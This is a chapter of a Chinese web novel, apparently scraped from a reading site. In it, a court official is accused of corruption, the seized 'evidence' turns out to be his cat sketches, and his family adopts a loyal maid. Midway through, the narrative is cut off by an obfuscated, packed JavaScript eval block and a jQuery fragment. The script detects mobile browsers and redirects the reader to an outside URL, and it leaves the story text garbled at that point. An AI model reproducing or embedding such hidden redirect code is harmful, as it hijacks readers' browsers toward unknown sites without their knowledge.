默认冷灰
24号文字
方正启体

2. 她不一样

作者:落乔叶本书字数:K更新时间:
    然而,有时便是越怕什么,越来什么。


    早朝一如既往的骂战后,洛父安静如鸡的站在角落,松了一口气,就等着司礼监掌印太监喊退朝回家了。


    忽然前排一个身影向前大步而出,声音铿锵有力,“臣,镇国公萧朗越,昧死启奏圣上。”


    “臣闻,邦之固在吏治,吏之清在奉公。今皇城府尹洛有歌,身负京畿治民之责,却行贪墨败法之举……恃权作恶,败坏朝纲,若不从严究治,恐民心离散,法度不存。”


    “恳请圣上下旨,命廷尉彻查洛有歌一案,以儆效尤,以安民心!”


    对方言罢,躬身长揖退回班列,一副为国为民,心怀天下的模样,若非洛父知晓自己的清白,还真有可能被他给诓了去。


    没想到真叫雪儿说中了,今日果真有人弹劾他!


    洛父磨了磨牙,在心中暗骂了句对方不不要脸,栽赃陷害简直不当人子,上前出列躬身。


    “圣上,老臣冤枉啊!这镇国公张口便要污臣清白,却连个像样的证据都拿不出,这与将朝堂当儿戏有何区别?”


    镇国公再次走出,瞥了眼洛父,眼底的轻蔑一闪而过。


    “老夫敢谏言此事,自是掌握了确切证据,莫非洛府尹敢做不敢当?”


    不等洛父出言反驳,镇国公老神在在道:“你贪张枉法,克扣钱粮中饱私囊,连自己的亲信都看不过眼,这才良心难安的找上老夫。”


    “回圣上,证据就藏在洛有歌书房西南角,书柜下的第三块木板中,此事真假,圣上派人一看便知。”


    听到这话,回想起那暗格所存放的东西,洛父脸色大变,大声驳斥,“胡说,不过是几本闲书罢了,与你所说有何干系?”


    镇国公见他涨红了脸,内心有些疑惑。


    奇怪,按理来讲洛有歌该力证清白,说自己书房并无隐藏才对,怎么反而是一副恼羞成怒的模样?


    不待两人继续争辩,上头坐着的那位便发话了。


    “肃静!朝堂之上吵吵闹闹成何体统!”


    皇帝扫视了下方水火不容的两人一眼,开口道:“金羽,你现在带人去洛府尹家中一趟,究竟谁对谁错,待会自然水落石出。”


    “是,臣领命!”


    洛父几近绝望的低垂下头,神色木然,总究还是没能保住最后的颜面啊!


    人不犯我,我不犯人!


    既然对方存心要害他,那就别怪他玩把狠的了!


    洛府距离皇宫并不远,再加上金羽骑术了得,不过短短一炷香时间,就将黑包裹带到朝堂,双手呈上。


    “圣上,在镇国公所说位置,果真寻到了这个包裹。”


    “呵,好一个清清白白洛府尹!东西都找到了,朕看你还有什么话说!”


    皇帝被气得不行,伸手解开包裹,拿出其中一本翻开,脸上呆滞一瞬,眼神诡异地看了眼下方心如死灰的洛父,又抽出另一本翻开。


    “咳……洛爱卿这喜好,还挺独特。”


    书上一幅幅画生动又形象,全是姿态万千,露出身后两颗饱满球球的各色狸奴。


    有洛府养的金丝虎,也有隔壁木尚书家的乌云啸铁,还有街边卖蒸饼小贩所养的雪里拖枪,只有别人想不到,就没有他画不了的。


    洛父尴尬地笑了笑,笑得比哭还难看,“圣上别看了……”


    皇帝瞧着那一只只软萌可爱的团子,摸了摸下巴,合上书册揣进怀里,“洛爱卿还是该以事业为重,这东西朕就没收了。”


    最终,洛父失去了心爱的作品,而镇国公则被皇帝给狠狠训斥了一顿,两人皆是耷拉着脸回到家。


    洛府,庭院内。


    洛晴雪正抱着猫,站在水池边看玉烟撒鱼食,右手有一搭没一搭的给毛团顺毛,池底的锦鲤闻味赶来,尾巴一摇哗啦作响,水珠四溅,荡起层层涟漪。


    “小姐,夫人唤您和玉烟去东院。”洛母派来的女使找到人,连忙上前说道。


    “嗯,我知道了。”


    洛晴雪将懒洋洋的毛团子塞给她,微微活动了一下有些酸涩的手臂,叮嘱道:“今天刚喂过,你看好这胖家伙,万不可再喂,不然该抱不动了。”


    “是。”女使点头答应,将毛团接过。


    还未走进东院,隔大老远洛晴雪就听见自家父亲骂人的声音。


    “夫人你说那萧朗越是不是脑壳有包?老夫平日里都搁朝上装透明了,还死揪着我不放!”


    “他当是开国那会儿呢?老镇国公都去多少年了,他萧家莫非想要上天不成!动不了大的,还动不了小的吗?!老夫以后就跟他萧家杠上了!”


    洛晴雪脚步一顿,装作没听见,敲了敲门。


    见着是她来,洛父脸上的怒色一收,温和道:“雪儿和玉烟来了?”


    对比刚刚的骂声,洛父这柔声细语喊人名字的态度,让玉烟听得心里直打鼓,连忙福身行礼。


    洛晴雪却是猜到双亲叫玉烟来所为何事,听爹爹的骂声,就知道昨天她说的话今早已经灵验了。


    果然,下一秒她娘走过来,伸手将玉烟拉了起来,“玉烟来家里也有十三年了吧,现在都是个亭亭玉立的大姑娘了。”


    “回夫人,恰好十三年过一月,多亏当年小姐相救,否则哪有玉烟的今日。”玉烟想起那时候的场景,心中依旧一阵后怕。


    她五岁时大旱,山上连草根和树皮都被吃绝了,在家中爷奶饿死后,爹娘无法只能将最大的一个孩子卖去菜摊当两脚羊,换些泥饼来充饥。


    若非在挣扎时逃出饭店,出门正撞上去医馆瞧病的洛晴雪,早被人端上桌给吃了。


    “你比雪儿大不了多少,在做事上却要比我们都要细致。”洛母听见她的话,也同样想起了那年的大灾。


    那会洛父高中探花,却因家世不够被排到了大旱的樊城,等到了地方雪儿更是水土不服,没几天就瘦了一大圈。


    洛母感叹完,没跟玉烟再绕圈子,直截了当道:“雪儿很喜欢你,正巧我与老爷也有心收你为养女,所以想找你来问问意见。”


    玉烟愣住,怀疑自己听差了,“夫人,奴婢是小姐买来的……”


    “你我之间的感情,难道还要约束在那张纸上吗?”洛晴雪说着,掏出荷包中的那张早已准备好的身契,归还给对方。


    “玉烟姐姐这些年待我极好,哪是那半袋子黍米能相抵的,以后我们便是姐妹了。”


    玉烟颤颤巍巍抖着双手,接过那张纸看了好一会,猛不丁跪地朝着三人磕了一个响头,才被洛晴雪伸手给拦住。


    洛母


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206244|197353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将额头红肿的玉烟带去上药,留下洛晴雪与洛父继续谈话。


    有了早上那一出,洛父对女儿所说的预知梦深信不疑,他倒上一杯热茶推给对方,开口道:“雪儿,你所说的那位莫钰是荒洲人士?”


    洛晴雪点头,“阿钰哥哥他是荒洲镇南山的猎户,身手不凡,每次出门都能打着猎物给我买药和吃食。”


    提起前世的夫君,她捧起茶杯目光柔和,“我刚瞎那会脾气很差,什么都看不见,整日怨天尤人,恨不得将所能够到的一切全给砸了。”


    “他上午出门打猎,下午就回来收拾我弄出的烂摊子,往桌角上都包了布套子,给我读最新出的话本……”


    “他识字?”洛父惊讶。


    荒洲本就人迹罕至,是出了名的困难户,每每看见这个名字,不是流放便是在朝朝廷求赈灾粮。


    而镇南山更是了无人烟,能住在这上面的猎户,想也知道不会有个很好的家境,没成想对方居然还识字。


    洛晴雪看出洛父的疑惑,解释道:“阿钰哥哥的才学不比大哥差,只是因为脸上有道疤痕,坏了面容不能科举,才被家人抛弃进了镇南山。”


    这倒是比洛父想得要好,原以为只是个大字不识的粗鄙汉子,没成想识字有才华,身手不差会打猎,性格听上去也很不错。


    难怪只是一个看不见的梦中人,却能让自家这个宝贝闺女给心心念念惦记上。


    “要冬至下雪了,你身体也还没养好,现在我肯定是不准你出门的,等过完年,再去寻你的阿钰哥哥吧。”


    听见来自长辈的调侃,洛晴雪红着脸垂下头,呐呐不语。


    不过在家中危机被真正解决前,她本来也没打算去见夫君,万一给对方带去麻烦就不好了。


    “明天你陪玉烟那丫头去置办几身得体的衣裳首饰,别忘了给你自己也买几身,以后她便是你养姐了,也是咱洛家的大小姐,不能叫外人看轻了去。”洛父接着道。


    “嗯,女儿知道了。”


    这些话其实洛父不说,洛晴雪也会去做。


    若说莫钰是她瞎眼后,在荒洲里唯一的光亮,那玉烟姐姐便是在抵达光亮前,将她在死亡面前多次救下的恩人。


    如果没有玉烟的一路跟随,她根本活不到荒洲。


    翌日,天刚蒙蒙亮。


    洛晴雪将一脸恍惚的洛玉烟给拉上桌,一家四口吃完早饭,送走赶去上早朝的洛父,选了一家熟悉的金楼进门。


    同一时刻,金楼对面的茶馆三楼,正坐着两位男子。


    一位身穿白衣,气质儒雅随和,借着长袖遮挡,偷摸将手中的酒液给倒掉。


    另一位则打扮张扬,一袭红衣浓烈胜火,不断的在给自己续杯灌酒。


    白衣男无奈,看着对方那股子不要命的喝酒架势,劝说道:“路乘钰,世间好女郎千千万,你就非得在这一棵树上吊死吗?”


    路乘钰吸了吸鼻子,想要反驳回去,结果张口便是两声嘎嘎嘎。


    路乘钰:……


    “得!你风寒又加重了,孤就不该求情放你出门,这次回去要是被你姐知道了,准得把孤给念叨死。”白衣男头疼道。


    路乘钰用筷子尖沾上醋,倔强地在桌面上写道:


    『你不懂,她不一样。』
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)